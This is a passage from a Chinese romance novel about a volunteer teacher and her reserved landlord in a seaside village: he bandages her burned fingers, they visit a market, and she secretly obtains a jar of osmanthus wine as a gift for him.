牧听语疑惑地歪脑袋,只见他沉默了一瞬,伸出双手,拉住她睡衣的肩线往上一提,声音淡淡地说:“衣服穿好。”
牧听语猝不及防被拉到她脖子处的领口卡了一下:“...???”
她哪有没穿好?这不就是一件T恤吗?
虽然是因为衣服领口被洗衣机搅得有些松了,这才拿来当的睡衣。
她低头研究了一下自己穿的宽松大T恤和大裤衩子,愣了两秒,突然伸手摸了一下耳朵。
好像、好像确实没什么形象......
女孩子是不是都会穿印着卡通小画的可爱睡衣来着......
她正这么想着,刑泽已经重新关上灯走到楼梯口。
楼上因为电力恢复而自动亮起的光束印照在他身后,他站在楼梯口转身等她,面容有些昏暗不清:“愣着干什么,上楼了。”
“哦哦。”
她赶紧迈开脚步跟上,在上楼的脚步声中,想起刚刚刑泽给自己提衣服时一脸平淡的表情,于是有些怀疑地再次低头看了看自己的穿着。
为什么他刚刚的动作这么自然?
感觉像...对待小孩子一样。
11. 上药
八点半的闹钟不知道响了几轮,全部都被牧听语“啪叽”一下拍掉了。
她翻了个身,埋进被子里继续昏迷。
但下个十分钟,闹钟依旧坚持不懈地响了起来。
她终于迷迷糊糊地把眼睛睁开一条缝,摸过手机看了一眼时间。
下一秒响起一声惨绝人寰的大叫。
“——啊啊啊啊啊!怎么九点半了啊啊啊救命!”
她从床上弹射而起,不料被酸痛的背部肌肉拉得“哎呀”了一声,老老实实伏在床上拉伸了一会儿唤醒身体。
然后风风火火地穿上衣服,飞速冲进洗手间“啪”一下关上了门。
刑泽坐在饭桌前听着楼上突然响起的鸡飞狗跳声,没忍住低笑了一声。
牧听语洗漱完连滚带爬地冲下楼,见他正悠闲地坐着,慢条斯理地往嘴里舀了一口粥,顿时欲哭无泪:“......你怎么不喊我!”
刑泽声音平淡:“不着急,先吃饭。”
牧听语轻车熟路地拿上碗给自己舀了粥,坐到餐桌前,咬着勺子含糊道:“话是这么说......”
她吹了吹冒着热气的粥塞进嘴里,顿时被烫得龇牙咧嘴:“但窝不是缩九点粗发......”
刑泽皱眉道:“慢点吃。”
他起身倒了一杯凉水回来:“在嘴里含一会儿再咽,喝两口就行了,空腹不能喝凉水。”
牧听语“唔”了一声,接过水杯含了一口。
凉意沁过舌头,嘴巴里的灼热感消了一点,她拿起勺子准备继续吃饭。
刑泽突然开口:“手怎么了?”
牧听语顺着他的视线看过去:“喔,昨天烫了一下。”
“在哪里烫的?”刑泽皱着眉问。
“就热水器啦,”牧听语晃了晃腿,低下头继续吃饭,“昨天不是停电了嘛,不小心摸到了,好像是有点漏水。”
刑泽一言不发地起身,在墙角的橱柜里拿了一个小箱子回来。
一打开,里面是各式各样的医用物品,什么碘伏、酒精、棉棒、绷带......
牧听语一看这仗势,顿时缩了缩手:“不、不用麻烦,就烫了一下,过两天就......”
“手伸过来。”
刑泽高耸的眉骨压下来,看上去有些凶。
牧听语瘪了瘪嘴,老老实实把手伸了过去。
刑泽捉住她的手腕,眼神落在烫伤的地方。
她的手指修长,中指和无名指的指尖发红肿胀,部分皮肤已经冒起了一层薄薄的水泡。
他皱着眉从药箱里翻找出烫伤膏和无菌纱布,重新捉起她的手,语气变得有些不好:“昨天晚上怎么不说?”
牧听语伸直了手臂,手指不自然地动了动:“忘、忘了......”
刑泽抬眼刚要再训,看到牧听语眼巴巴地仰头看着自己,眼神可怜兮兮的。
他一顿,重新低下头去,仔仔细细在烫伤处涂上了药膏,撕开无菌纱布的包装,把她的两根手指严严实实地包了起来。
包扎完,牧听语举起手正反看了好几遍,觉得胖胖的手指颇有些可爱,忍俊不禁地举起手机拍了下来。
“还笑?”刑泽的声音凉凉地传来。
牧听语瞬间撤回一个上扬的嘴角,把脸藏在了手机后面。
刑泽放好药箱,关上橱柜门,向餐桌看去。
女孩眼睛弯弯的,笨拙地用左手没受伤的手指戳着屏幕,不知道在和谁发着消息,右手也没闲着,举着勺子往嘴里塞粥,脑袋还一晃一晃的,看上去特别没心没肺。
刑泽蹙着眉走过去,刚要开口,只见她用包扎好的硬邦邦的两根手指头敲了一下屏幕,发出“啪”的一声。
她扑哧一笑,然后又饶有兴致地再敲了两下。
刑泽:“......”
算了,他跟一个幼稚鬼讲什么道理。
他坐下,尽量缓和了一下声音:“下次第一时间跟我说。”
牧听语头也没抬地大声保证:“好的!”
她绝对没听进去。
刑泽有些头疼地问她:“哪里漏水了?水管?”
牧听语分心回答:“唔,应该是。”
“今晚我修一下。”
“嘿嘿,好的!”
.
天空湛蓝,云层高远,微微海风带着湿润的水汽迎面拂来。
牧听语骑着车掠过一片狗尾巴草丛,快乐地伸出手拨了一下,又试图去触碰一只低飞的蜻蜓。
“专心骑车。”身旁传来淡淡的提醒声音。
牧听语缩回手,脑袋还是不太安分地四处看。
她指着不远处的海岸,头也不回地问:“刑泽,你是不是经常在那边冲浪?”
“不常去。”刑泽低低的声音顺着风飘来。
“我看过你冲浪!”牧听语扭回头笑着问,“你猜猜是什么时候?”
女孩细眉星眸,笑眼弯弯,脸颊透着自然的红晕,耳边垂落的发丝迎风飘扬,凌乱却自由,在阳光下犹如振翅的飞鸟。
刑泽侧过脸,喉结无意识地滚动了一下:“...第一天。”
“对!”牧听语笑眯眯的,“你真聪明!后面好像就没见你去过了,冲浪难吗?”
“不难。”刑泽说,“你想学?”
“有一点点!”
“那就学。”
“咦,你教我吗?”
“教。”
牧听语好奇地问:“我看网上说一对一学冲浪贵的要大几百一个小时,真的吗?”
“差不多吧,上千的也有。”
牧听语有些咂舌:“那你是怎么学的?哐哐往里砸钱了?”
刑泽沉默了一瞬:“没有,我朋友是教这个的,没花钱。”
这还是第一次在刑泽口中听到“朋友”这个字眼,是关于牧听语所了解甚少的,他在石塘村以外的事。
她心里痒痒的,想多问几句。
可又想起刑泽是个边界感很强的人,应该不喜欢别人对他问东问西的,只好努努力把话咽了回去。
刑泽见她沉默了下来,以为她在心疼钱,于是开口道:“我教不收钱。”
牧听语没想到他的脑回路这么清奇,当下就是忍了笑,故作严肃地板起脸:“不,我一定要给你钱。”
刑泽:“......”
“你看房租你也不收,饭钱你也不收,还要免费教人冲浪,你也太亏了吧!”
“......”
“——这样下去我只能做苦力还债了!”
“做什么苦力?”
“......唔?”牧听语罕见地卡词了。
仔细想了一下,刑泽好像确实没让她干过什么活。
做饭、洗碗也是零星几次,绝大部分时候都是她尝试未果,还没靠近灶台或水槽手上的东西就被一并拿走了。
唯一的体力劳动应该是每天上下楼梯。
她冥思苦想,觉得自己全身上下能使出来的技艺都没几个,拿手的画画更是无从施展。
在这里她的画跟一块窗帘有什么区别,窗帘好歹能遮
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光。
算了,刑泽看起来也不缺钱,生活动手能力更是不知道比她高了多少个等级,她还是别添乱了,到时候走之前一并给他转笔钱得了。
这么一想,她一挥手,非常自洽地说:“你看我这生活不能自理的样子,还是不给你帮倒忙啦!”
刑泽低低笑了一声。
看她纠结半天的样子就知道憋不出什么像样的理由来,没想到还直接大大方方承认了。
他偏过头注视她。
女孩依旧是简单的T恤和宽松五分裤,阳光并不猛烈,在她的头发边缘镀上一层金边,远处就是白浪翻滚的海岸和湛蓝的天。
她双手支在车把上,神情轻松随意,完全没了刚来时候带着点拘谨的模样。
甚至刚刚的一番话,仔细听还带着点不明显的、恃宠而骄的意味。
刑泽眯起眼睛,心里莫名被挠了一下。
这种感觉就像小时候捡来一只流浪猫,悉心照料养护了许多天,终于看着它慢慢愿意和自己亲近时,心底里不自觉蔓延出的、非常微妙的成就感。
牧听语单手握着车把,举起左手,朝包扎着的手指吹了吹气。
“怎么了?”刑泽思绪被打断,皱眉道,“手指痛?我不是让你注意......”
“刚刚不小心碰到了!”牧听语把左手重新搭回车把上,“没事啦我又没那么脆弱!走啦走啦!”
说着她猛地蹬了几下,车子窜出去了一段距离。
刑泽扬起声音警告:“牧听语!”
前面传来她快乐的大喊声:“我是风驰电掣小飞人!”
......
“这不是小刑嘛?这是去哪啊?”
刑泽停下车,朝人一颔首:“村长,去镇上。”
村长站在路边,伸手摸了摸花白的胡子,往刑泽身后看了一眼:“哎,这就是支教老师吧......”
牧听语跟着停下车,扬起手臂兴高采烈地打招呼:“是我!村长您好呀!我叫牧听语,您喊我小牧就可以了!”
村长笑呵呵地点头:“你好,你好!年轻人真有活力。”
牧听语两条腿支在地上蹬了一下,自行车往前滚了一米,她声音清亮:“村长,谢谢你的自行车呀!我应该早点来向你道谢的,可是这两天上课有点忙就给耽搁了!”
“小事,小事,本来也是放在那不用的!”村长摆摆手问道,“在小刑家里还住得惯吗?”
“住得惯的!”牧听语笑着说,“他人很好也很照顾我!”
“那就好,”村长看了一眼面色平淡的刑泽,“你们上镇上买东西去呀?”
“嗯嗯!”
“那去吧去吧,早点回!”村长语重心长道,“小刑你也别老是板着个脸,对女孩子要温柔一点!”
刑泽抱起双臂,发出一个意义不明的音节。
牧听语把那声轻得不能再轻的冷哼收进耳朵里,缩了缩脖子。
脑门刚刚被敲过的地方还在隐隐作痛,她挥了挥手,和村长告别,期期艾艾地挪到刑泽身边。
“我......”
刑泽凉凉的声音响起:“刚刚怎么不跟村长说你是风驰电掣小飞人了?”
“......”牧听语憋憋屈屈地捂着脑门,“我,我保证等下骑慢一点......”
“你应该知道,从你刚刚单手骑车大喊‘你太慢了’然后差点摔进田里的那一刻起——”刑泽眯起眼睛,语气危险,“我就不会再相信你说的任何一个字。”
牧听语:“......”
12. 集市
刑泽觉得牧听语实在是太爱闹腾了。
先不说她一路上到底跟多少路过的村民都搭了话,就她那股自来熟的劲儿,就让刑泽觉得颇为纳闷。
怎么会有这么热衷于社交的人?
她甚至连人都还不认识,见他先打了招呼,就热情洋溢地凑了上来,在村民的好奇询问声中开始“您好!我叫牧听语!您喊我小牧就好啦,我是新来的支教老师!”
甚至后面还莫名其妙地接受了好几个村民的做客邀约。
刑泽抱着双臂站在不远处,不解地皱着眉头。
这些村民他都认识,平常也没见他们这样过。
停下来讲话就算了,但话说着说着往牧听语手里塞东西是什么情况?
就连村里以抠门出名的老头也说让她等等,要给她拿俩鸡蛋带走。
牧听语纷纷以自己要去镇上不太方便拿而拒绝了,并认真表示之后会去他们家里拜访。
她笑眯眯地和一位大娘挥手告完别,双脚一蹬来到刑泽旁边,感叹道:“村民们可真热情呀!”
刑泽:“......”
他从没觉得过。
沉默一会儿的功夫,牧听语又和路边的一只土狗玩了起来,一副活力四射的样子。
刑泽踩上自行车:“行了,走吧,再晚就该吃午饭了。”
“来了来了!”
.
时间不算早,集市上长长的街道早已经水泄不通,摊位一个紧挨着一个。
卖菜的、卖锅碗瓢盆的、卖小吃的,琳琅满目。小贩的吆喝声、讨价还价声、孩子的笑闹声混杂着青草泥土的微涩味和人潮味,在干燥的空气里发酵,蒸腾出一种独属于乡镇的、粗粝而旺盛的活力。
两人停在集市的路口,这里离拥挤的人潮还有段距离,只有街道两旁开着的店铺和零星几个小地摊。
牧听语跟着刑泽把自行车停在路边,给车上了锁,沿着路往里走。
刑泽叮嘱道:“等下别乱跑。”
牧听语“嗯嗯”应着,好奇地四处看。
刑泽看着她几乎要转成拨浪鼓的脑袋,刚想着她应该没来过这种地方,只听她惊叹一声:“啊,那边在宰鸭子。”
右边红顶帐篷下的小贩利落地给手里不断扑腾的鸭子放血,然后拎起滚烫的热水淋下,一股生禽的羽毛味顿时弥漫开来。三下五除二鸭子身上的羽衣就被拔了个干净,紧接着内脏也被清理完。
刑泽见她目不转睛地盯着,开口道:“想吃鸭子?”
“唔?”牧听语笑了一声,“不想,我就是没看过,有些好奇。”
两人接着往里走,人群逐渐拥挤,牧听语被碰了好几下,不自觉往身材高大的刑泽身旁靠了靠。
她问:“面粉在哪卖呀?”
刑泽不动声色地用手隔开涌过来的人群,低下头回答:“还在里面。”
几乎要贴在他怀里的女孩无所察觉,一扬手兴致高昂地说:“走走走!”
既然都说了要来买面粉,那肯定是要把主线任务先完成掉,再去完成隐藏任务。
等下用个理由把刑泽甩掉好了。
牧听语一边想着,一边有些馋地盯着前面小摊上弥漫着香味的糕点。
摊上夹了炉子,上面是一个上下两层开合的六角铜质模具,小摊师傅扬起手,把淡黄色的面浆倒入空着的模具孔里,再用长铁签挑出了里面已经成型的甜筒状略带焦脆的糕点,一股热气腾腾的香甜味顿时弥漫开来。
“想吃?”刑泽的声音在头顶上方响起。
牧听语刚点头,就见他往那边走过去。
“老板,要一份梅花糕。”
“好嘞!要豆沙馅还是芝麻馅啊?”
刑泽转过头用目光询问她。
牧听语觉得两个口味应该都挺好吃的,有些纠结地咬了咬嘴。
“两个口味都要一个。”
“好嘞!”
老板利落地装了两个油纸袋递过来,刑泽付过钱接过来,递给了牧听语一个,言简意赅道:“先吃。”
牧听语笑眯眯地接过来,吹了吹,咬了一口。
老板手里忙活着,自来熟地用方言搭话:“小后生,女朋友很漂亮哦。”
刑泽闻言瞥了牧听语一眼,后者正眯着眼睛啃着手里的糕点,对这边的对话毫无察觉。
他从摊车上扯了几张餐巾纸塞进她手里,眼睛里带了一点微不可察的笑意,回答道:“不是,是租客。”
“啊哟,我可不信嘞。”老板调笑道。
牧听语好奇地抬起脑袋:“你们说什么呢?”
“没什么,”刑泽点头向老板示意,“走了。”
.
半个小时后,两人从粮油干杂店出来,刑泽提着一袋五千克的面粉淡淡开口:“你要包饺子为什么不买现成的饺子皮?”
“因为自己揉的面皮劲道!”牧听语想都没想就斩钉截铁地说。
开玩笑,这可是主线任务,必须要完成。
刑泽看了她一眼,把她往道路内侧拉了拉:“饿了吗?”
牧听语举起两只手,上面挂满了塑料袋:“你觉得呢?”
“那在这里等我,”刑泽把她带到矮桥边的大树下,把面粉放在一旁的石桌上,“我去买点肉馅。”
牧听语巴不得跟他分开行动,连连点头:“去吧去吧!”
“不许乱跑。”
牧听语“嗯嗯嗯”地点头:“绝对不会!”
她看着刑泽的背影消失在人群里,有些头疼地看着手上的一大堆吃的。
全是刑泽刚刚买的糕点和零食,什么薄荷凉糕、紫米糕、桂花糖、酥脆小麻花......
几乎到了只要她多看一眼,那样东西就会出现在她的手上的程度。
牧听语生平第一次被这样投喂,感觉有点奇妙。
她从七七八八的透明袋里掏了掏,掏出一颗桂花糖塞进嘴里。
麦芽糖的清甜混着桂花的独特香气在口腔里弥漫,她惬意地眯起眼睛。
嗯,果然很甜。
她刚刚在路上已经物色好了目标,弯腰抱起面粉,探头看了看刑泽离开的方向,脚步欢快地朝反方向走去。
得快点买完快点回来,不然又要挨训了。
她抱着沉甸甸的面粉,艰难地穿过人群,很快来到了一家酒铺面前。
门前的木制匾额饱经风霜,店内光线昏暗,人也不多,一走进去就闻到了一阵粮食发酵的醇厚酒香。
柜台是一条厚重的长石板,上面摆着黑亮的量酒提子,一个中年男子坐在摇椅上扇着扇子。
牧听语笑着问道:“老板,你这都卖什么酒呀?”
老板眯起眼睛打量来人:“小姑娘,给家里人买酒?”
牧听语习惯性开始满嘴跑火车:“不是,我自己喝呀,不行吗?”
“行,当然行,看不出来啊。”老板支起身子,饶有兴致地问,“你要买白酒还是黄酒?散装的还是瓶装的?”
牧听语笑眯眯道:“我还没有喝过哎,我刚成年,背着家里人偷偷出来买酒的,老板你可以不可以推荐一下,哪个最好喝呀?”
她声音柔软清亮,语气里带着一丝狡黠。
老板愣了一下,接着大笑起来:“没喝过啊,那我这里的酒可不适合你,你沾一口就得倒咯!”
牧听语抱着面粉袋想了一下,问道:“那你这里最贵的酒是哪个呀?”
她也不懂酒,但最贵的肯定肯定差不到哪去。
“卖的都不贵,”老板笑着摇了摇扇子,“贵的不卖。”
说绕口令呢?
牧听语一歪脑袋:“那我更想要啦,人生第一次喝酒就是要喝这种有价无市的才好呢!”
“你这小姑娘挺有意思,”老板双手支在柜台上指挥她,“来来来,把东西放下,这么沉抱着干什么,那边有凳子,你坐那陪我聊聊天。”
牧听语还挺喜欢这个提议的,语气颇有些遗憾地
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说:“我也想呀老板,可是那边还有人在等我呢,我不赶紧回去的话是要挨揍的。”
老板问:“男朋友?”
“不是呀,”牧听语扑哧一声笑了,她刚想说朋友,可是突然想到了一个更合适的词,“是房东啦。”
老板若有所思地说:“跟房东一起上街啊......这样,你就坐下陪我聊一会儿,我把我的私酿送你一坛,怎么样?”
闻言,牧听语两只眼睛迸发出咻咻的小光芒。
私酿?听着好高级的样子。
她纠结了一会儿:“那就十分钟可以吗?太久的话真的不行啦。”
街上买东西的人这么多,刑泽不能这么快就回来。
十分钟,应该正正好!
老板很爽快地一点头:“行。”
牧听语立马放下手上的一提东西,把面粉袋往空地上一扔,拍了拍手坐在了长椅上。
她环顾四周,好奇地开口:“老板,你的私酿是不是很珍贵呀?”
“小姑娘,我这么跟你说,”老板得意地摇了摇扇子,“好多人求我,我都不给的。我这个人呐只讲究缘分,看谁顺眼了、我高兴了,才拿出来一坛。”
牧听语得到了满意的答案,嘴巴很甜:“我也觉得和老板很有缘分,从进来的第一眼起我就特别喜欢这家店,如果不是房东在等我的话,我可以坐在这里陪你聊一整天的,就当给你解解闷啦!”
老板被哄得合不拢嘴,问道:“让你房东先回去就好了的啦?”
牧听语晃了晃腿:“过来有点远,我还不认识路呢。”
“他去干嘛啦?”
“买肉馅,晚上要包饺子~我趁他走了才敢偷偷来的!”
老板笑了一声:“你这么怕房东的啦?”
“哎呀,他好管我的。”牧听语双手支在凳子上,佯装可怜地叹了口气。
老板给她出主意:“那你换个房子哎,别惯着他,你这小姑娘这么机灵,还怕没有房子住啦?”
“嘿嘿,暂时换不了啦。”牧听语挠了挠脸颊,“其实他人还挺好的。”
她指了指桌上的一堆小零食:“这些都是他买的呀。”
老板若有所思地摸了摸下巴,突然说:“小姑娘我和你港,你脾气不能太软,不然人家觉得你好欺负的嘞。”
牧听语觉得老板的口音好有意思,没忍住笑了起来:“好有道理哦。”
她刚兴致勃勃地准备跟老板吐槽吐槽,兜里的手机突然震动起来。
她掏出来一看,笑容顿时一僵。
来电显示“刑泽”。
不是,她不是没聊几分钟吗?
这都还没开始讲他坏话呢,他怎么就回来了?
隐藏任务的进度才刚刚到一半呢!!
牧听语接起电话,小心翼翼地“喂”了一声。
那边传来刑泽淡淡的声音。
“绝对不会乱跑?”
“......”牧听语感觉自己的脑门又在隐隐作痛,“我马上就回来......”
“在哪。”
“......”牧听语说,“就、就矮桥边的一家酒铺子。”
刑泽沉默了一瞬:“在那等我。”
他把电话掐了。
“怎么啦小姑娘,你房东要过来啦?”
“嗯嗯,”牧听语郁闷地叹了口气,小声嘀咕道,“果然刚刚就应该买最便宜的,管他喝什么......”
他这么着急回来干嘛,就不能多买一会儿吗!
等下老板反悔不给了,他就后悔去吧!那可是私酿!
老板兴致勃勃地说:“不要怕呀,等他来了我帮你骂他,怎么能对一个小姑娘这么凶的啦?”
“没事啦,他应该也是担心我......”
老板瞅了瞅牧听语,刚要开口再怂恿,突然一个高大的身影迈过门槛进了铺子。
他一抬头,结结实实愣了一下。
“啊哟?”
13. 酒与糖
“啊哟?”
老板惊奇地叫了一声:“刑泽?”
牧听语倏地一扭头,看到刑泽朝老板淡淡点了下头。
她的视线在两人之间转悠了一圈,恍然大悟:“你们认识啊?”
“怎么不认识?”老板失笑道,“他可是我这里的常客。”
话说完,他又突然反应过来:“小姑娘,原来你说的房东就是他啊?”
牧听语刚要开口,刑泽的声音先响了起来。
“房东?”
“哦?不是吗?”老板用饶有兴致的目光打量着两人,“刚刚小姑娘是这么和我说的呀?”
牧听语连忙开口:“是的,就是他啦。”
刑泽朝她迈步过来,把手里的东西放在木桌上,垂眼看着她:“你跑这里来干什么?”
来了,还是来了!灵魂拷问它虽迟但到!
牧听语保持镇定道:“我买酒喝。”
刑泽脸上表情毫无变化,淡淡开口:“小孩子喝什么酒,走了。”
牧听语:“......???”
哈?
她是不是被小看了......?
小孩子是什么鬼?难道她看起来真的像未成年吗???
“哎,别着急走啊!”老板急忙从柜台钻出来,“再陪我聊会儿天,我无聊死了!”
“不聊了,回家有事。”
“你有什么事?你每次都有事,从你嘴里就蹦不出几句好话来,最烦你们这种闷葫芦!”老板连声抱怨道,又凑到牧听语跟前,“来来来,别管他,我们接着聊,刚刚说到哪了来着......”
牧听语生怕这个看起来不怎么靠谱的老板说起他们刚刚讨论刑泽的事,连忙提醒他:“老板,十分钟好像到了!”
老板挥挥扇子:“不算不算,再聊五分钟!”
一边是睨着她的刑泽,一边是能让她完成隐藏任务的老板,牧听语夹在中间,左右为难,非常想就地分身,一个陪老板聊天,一个跟着刑泽回家。
刑泽开口:“什么十分钟?”
“啊,”牧听语挠了挠脸颊,“就是......”
“你管这么多干嘛!”老板突然气咻咻道,“没想到你小子竟然藏了个这么漂亮的女娃娃在屋里!我要跟她聊会儿天都不行!当爹的都没你这么管的!”
牧听语被这一句话雷得屁股一滑,差点摔到地上去,连忙狼狈地扒住木桌。
刑泽显然已经习惯了此老板的突然抽风,淡淡解释道:“外面来的支教老师,借宿在我家。”
“借宿就借宿!你这么管着她干嘛!”老板用手一指他,“刚刚我可都听说了,她......”
“老板!”牧听语唯恐他嘴里再吐出什么惊世骇俗的话来,连忙大声打断道,“我突然不是那么想买酒了!要不改天我再来陪您聊天吧!今天就先告辞了!!!”
“啊哟?”老板瞅了瞅她,嘴里酸兮兮道,“你刚刚不还说一定要要我的酒吗?现在他来了怎么就急着要走了的啦?你来我这,不会就是想给他买酒吧——?”
牧听语:“.............”
刑泽撩起眼皮,瞥见牧听语脸上犹如石化的表情,不动声色地挑了下眉毛。
“不,不是......”牧听语挣扎道,“我真的是想自己喝......”
老板“哼”了一声,起身走向内室:“等着吧。”
酒铺内顿时只剩下牧听语和刑泽两个人。
牧听语垂着脑袋有些蔫巴,正在进行深切的反思和检讨。
为什么每次自己想要给刑泽准备惊喜的时候,都会出现意外啊?
刑泽看向地上的面粉袋,开口问道:“你自己抱过来的?”
牧听语顺着他的视线看过去,有气无力道:“不是,它长了翅膀跟在我后面飞过来的。”
刑泽嘴角不明显地弯了弯。
看着这么瘦,力气倒是不小。
“手痛不痛?”
牧听语不自觉地动了动两根手指头:“不痛,我没碰到的。”
女孩垂着脑袋,双手撑在长椅上,两只膝盖无意识地一碰一碰,看着没什么活力的样子。
刑泽突然觉得眼前这一幕似曾相识。
好像那天牧听语特地起了大早熬了粥,结果见他从外面回来时就是这副表情,跟现在如出一辙。
他心中一动,声音有些低:“你来给我买酒?”
“嗯?”牧听语抬起脑袋,表情已经超然物外,“谁说的,我自己想喝。”
刑泽:“......”
老板从内室走出来,手里捧着一个玻璃坛子,坛子里是金黄色的酒液,上面还浮着一层厚厚的桂花。
刑泽一看那酒,顿时挑起了眉。
“看什么看。”老板没好气地说,“给小姑娘的,你不准喝。”
刑泽看着牧听语小心翼翼地捧过那坛酒,淡声问道:“你让她干什么了?”
“什么干什么!”老板愤愤道,“就喊小姑娘陪我聊十分钟的天,还被你给搅和了!”
刑泽瞥他一眼:“你有这么好心?”
“干什么,不能因为你之前问了好几回我都不给,就不允许我给其他人吧?”
刑泽不说话了。
老板抱着双臂站在一旁,突然用方言说道:“你这护犊子的架势,可不像是普通房东和租客的关系啊......这是铁树开花了?”
“......”
刑泽垂下眼,看着牧听语把脸凑近玻璃坛子,专心致志地盯着悬浮在金色酒液里的细碎桂花粒看,眼神纯净得像一只丛林深处的小鹿。
她一扫刚刚有些低落的状态,好像又变得快乐起来,用手指扒拉着坛口上的木头塞子,动作里带着些许稚气。
半晌,他嗤地笑了一声,用方言回道:“就一小孩,开什么开。”
老板也跟着笑了一声,揶揄道:“你自己信么?”
刑泽盯着牧听语漂亮的、没有任何杂质的眼睛看了一会儿,漫不经心地开口:“——不护着不行。”
“她闹腾得很。”
牧听语试图凑近盖子闻闻这桂花酒的味道,突然被刑泽戳了一下脑门。
“走了。”
“哦哦。”她刚要去提桌上那些杂七杂八的袋子,就被刑泽挡了一下。
“去抱着吧。”刑泽用下巴一指桂花酒,“你的战利品。”
牧听语抱起玻璃坛子,耳根忽然有些发烫。
......好好的讲什么战利品啊!太中二了吧!
刑泽提起剩下的所有东西,向老板一示意:“走了。”
老板笑眯眯地跟牧听语告别:“小姑娘,下回来
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玩。”
“好的——”牧听语回过头,声音清亮地说,“老板再见呀!下次我一定来好好陪您聊天!”
老板站在门口,看着刑泽把牧听语挡在道路内侧,而后者正亦步亦趋地跟在他旁边往前走。
他哼笑了一声:“便宜这小子了......”
.
牧听语站在自行车面前犯了难。
一堆小袋子倒还好说,可以放在前面的篮子里;面粉也不难放,随便系一下搭在后座就好了。
可是酒怎么办呢。
她抱着酒坛子,感觉抱了个烫手山芋。
这玻璃坛子随便磕一下碰一下就要碎,根本不敢让它在车篮子里乱晃。
刑泽把手上的一堆东西安顿在自己的自行车上,一转头,看见牧听语仍然站在原地。
“怎么了,重?”
他伸手要去接,却被牧听语一躲。
“不重不重。”
只见她有些苦恼地皱着眉头,上下观察着自行车,像是努力在找一个合适的位置:“这东西怎么放啊,这么脆弱的,到时候骑到半路咔擦一声碎掉了怎么办?”
“这可是私酿,听起来就很珍贵的样子......”
特别是......
她抬头看了刑泽一眼,又低下脑袋。
这可是给他准备的,总得让他尝尝味道吧,可不能在半路就洒掉。
刑泽见她一幅不舍得放下的样子,走到她的车篮前,开口:“过来。”
牧听语抬起头,见他手里拿着一段黑色的宽面绳子。
她走过去把酒坛交到他手里,看着他将酒坛五花大绑之后,再把绳子穿过车篮的空隙,将它牢牢固定在了车篮中间。
绳子看上去很有弹性,牧听语扒拉了两下,又伸手晃了晃车篮,酒坛纹丝不动。
“厉害,”她竖起大拇指,“以后不敢惹你了,免得你把我绑起来揍。”
刑泽:“......”
“你饿不饿啊?”牧听语探头在他的车篮里翻找着,“饭点都快过了,你要不要在街上吃点再回去?”
“不饿。”
“我不信,你早上好像都没吃多少。”
她下来的时候刑泽那碗粥才吃了一半不到,然后又忙着给她处理手指上的烫伤,后面根本就没吃几口。
牧听语搜罗出那袋桂花糖的袋子,抓出两颗来,往自己嘴里塞了一颗,然后把另外一颗递到了刑泽面前。
“很好吃的,你尝尝?”
刑泽不爱吃甜的,刚想拒绝,只见牧听语往前迈了一步,把糖递到他嘴边。
她一脸严肃道:“吃一颗啦,免得低血糖了,超级难受的。”
“......”
女孩的手细白莹润,指尖泛着健康的红色。
刑泽垂眼盯了那颗糖两秒,用手接了过来。
牧听语见他吃了,拍了拍手上的糖霜,笑着说:“不在街上吃的话就回家吧?到时候下碗面也快的,然后下午我把饺子包了,晚上可以吃,剩下的放冰箱。”
她一句话把接下来半天的行程全部安排完毕,一脸满意地抬头,发现刑泽正一言不发地盯着自己。
“怎么了?”她歪了歪脑袋,“我脸上有东西?”
“没什么。”刑泽移开眼,声音有些低,“...回家。”
14. 电话
牧听语还是有点怕意外,一路上紧张兮兮地盯着车篮,再也不敢风驰电掣,差点没把自行车骑成手动轮椅的速度。
直到酒坛安安稳稳地落在了厨房的餐桌上,她才松了一口气。
刑泽头一次见她这么宝贝一样东西,淡声开口:“你喜欢喝酒?”
牧听语抬起脑袋,下意识否定:“不...”
说到一半她又飞速改口:“对,喜欢。”
刑泽看着她一脸肯定的样子,转身回了灶台边,声音遥遥传来:“晚上你想喝的话可以喝一点,他的酒度数都不低。”
度数高吗?牧听语凑近去闻了闻坛口。明明挺甜的,都闻不到什么酒味。
她凑到正在洗菜的刑泽旁边蹭了点水,洗了洗没受伤的那只手,顺口说:“我现在很饱哦,不用准备我的午饭啦。”
刑泽没答应,只是说:“零食不能当饭吃。”
牧听语屏气鼓了鼓脸颊:“好吧,你做面吗?那少放点面条。”
“知道了。”
刑泽打开油烟机,牧听语在有些响的嗡嗡声中马不停蹄地找了个比较大的盆,洗干净之后掂量着倒了面粉进去。
没有厨房秤,她只能凭感觉加。
“二比一的量......”她嘴里念叨着,又拧开水龙头加了点水,然后凑到灶台边舀了一勺盐回来,又从冰箱里拿出一颗鸡蛋打下去。
她想了想,扭头问道:“刑泽,淀粉放在哪?”
一包淀粉被递了过来,牧听语接过,往里撒了一点。
“我可不知道20g是多少......随缘吧......能不能成就看你了,争气点小面团!”
刑泽和她并排站着,抽出空转头,看着她嘴里念念有词的样子,不明显地笑了一下:“网上搜的配方?”
“是啊,”牧听语忙忙叨叨地转身拿筷子,伸进盆里搅和,“但我也不知道我放了多少,全靠它自己了。”
她把盆里的混合物搅匀和成面絮,再仔仔细细洗了右手,用另一只手把着盆,开始揉搓面团。
她一只手不太好操作,笨拙地用手掌推压、再捞回来,这样来回几次之后,面团开始分外粘手。
她继续掌心和指腹同时用力,将粘在盆底的面絮抓起来,压进湿软松散的面团。
这样持续揉了一会儿,她再往里稍稍加了点面粉,面团逐渐变得光滑柔韧。
“啪嗒”一声,面团与盆底接触发出了富有弹性的声音。
牧听语用手腕碰了碰额角,满意地点了点头。
看来自己还是很有天赋的嘛。
没有厨房秤,还是成功地做出了面团,这不是天才是什么?
刑泽那边也关了火,盛出两碗面。
他把碗端到餐桌上,回到灶台边,看了一眼盆里的面团。
牧听语在盆上包好保鲜膜,笑着看向他,扬眉道:“小面团顺利出生,不知道几斤几两。”
刑泽眼里带了些笑意:“恭喜,洗手吃饭吧。”
牧听语不依不饶地问:“厉不厉害?”
刑泽看着她比平常还要明亮的眼睛,眼中的笑意明显了一些:“厉害。”
牧听语听到满意的答复,骄傲地仰起脑袋,像一只打了胜仗的小孔雀。
她早上在集市一路走一路吃,是真的一点也不饿,洗完手在饭桌上坐下,也没有立刻就拿起筷子。
她试探性地问道:“哎,我之前在电话里听到小苹姐说给你送了酒,怎么不见你喝呀?”
刑泽闻言抬起头,声音平平:“你偷听?”
"......"
牧听语:“我发现你有时候真的有点幼稚。”
刑泽这辈子没听别人用这两个字评价过他,眉毛一挑:“有了战利品不够,还惦记上我的酒了?”
“哪有?”牧听语很冤枉,“你不会藏在房间里偷偷喝吧?”
她一边说着,一边往嘴里塞了一口面。
